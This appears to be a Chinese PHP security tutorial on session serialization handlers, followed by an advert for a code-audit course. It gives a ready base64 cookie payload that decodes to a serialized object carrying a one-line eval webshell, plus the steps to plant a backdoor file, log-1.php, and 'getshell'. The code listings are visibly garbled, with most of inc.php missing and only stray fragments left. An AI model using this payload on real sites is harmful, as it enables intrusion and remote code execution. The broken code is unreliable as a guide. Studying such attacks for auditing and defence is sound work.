PHP中session有哪些存储方式?
根据官方文档我们可以看到,一共有三种存储方式:PHP序列化格式、PHP内部格式以及WDDX。
如果不使用ini_set
设置相关session存储方式,在默认情况下就使用php,也就是php内部格式。
本篇文章仅讨论PHP序列化格式以及php默认处理器这两种存储方式,不探讨WDDX的存储方式。
还有一种是php_binary
的格式,本文也不做探讨,这里就列出在不同模式下的存储方式。
首先我们使用php默认处理器,初始化session,并给session赋值,实验代码如下:
inc.php
';
}
$a = new User();
echo base64_encode("|".serialize($a));;
?>
得到结果:
fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4iO30=
首先访问index.php建立会话,然后将这一串传入cookie中的limit
再带参数访问check.php
check.php?u=123&pass=456
访问之后,就会在目录下生成log-1.php
的后门文件,连接密码为a
,即可成功getshell。
实操推荐
PHP代码审计最佳实践:http://mrw.so/6sZzPs代码审计是指对程序源代码进行检查、分析,寻找代码中的bug和安全漏洞,
代码审计是Web安全工程师必备的技能,也是企业安全运营者所需要的基础能力。通过本课程的理论学习和动手实践,你将学习到什么是代码安全审计、PHP代码审计的流程、PHP常见危险函数及特殊函数、不规范的编码会造成哪些Web安全漏洞以及如何修复这些漏洞。
戳“阅读原文”体验免费靶场!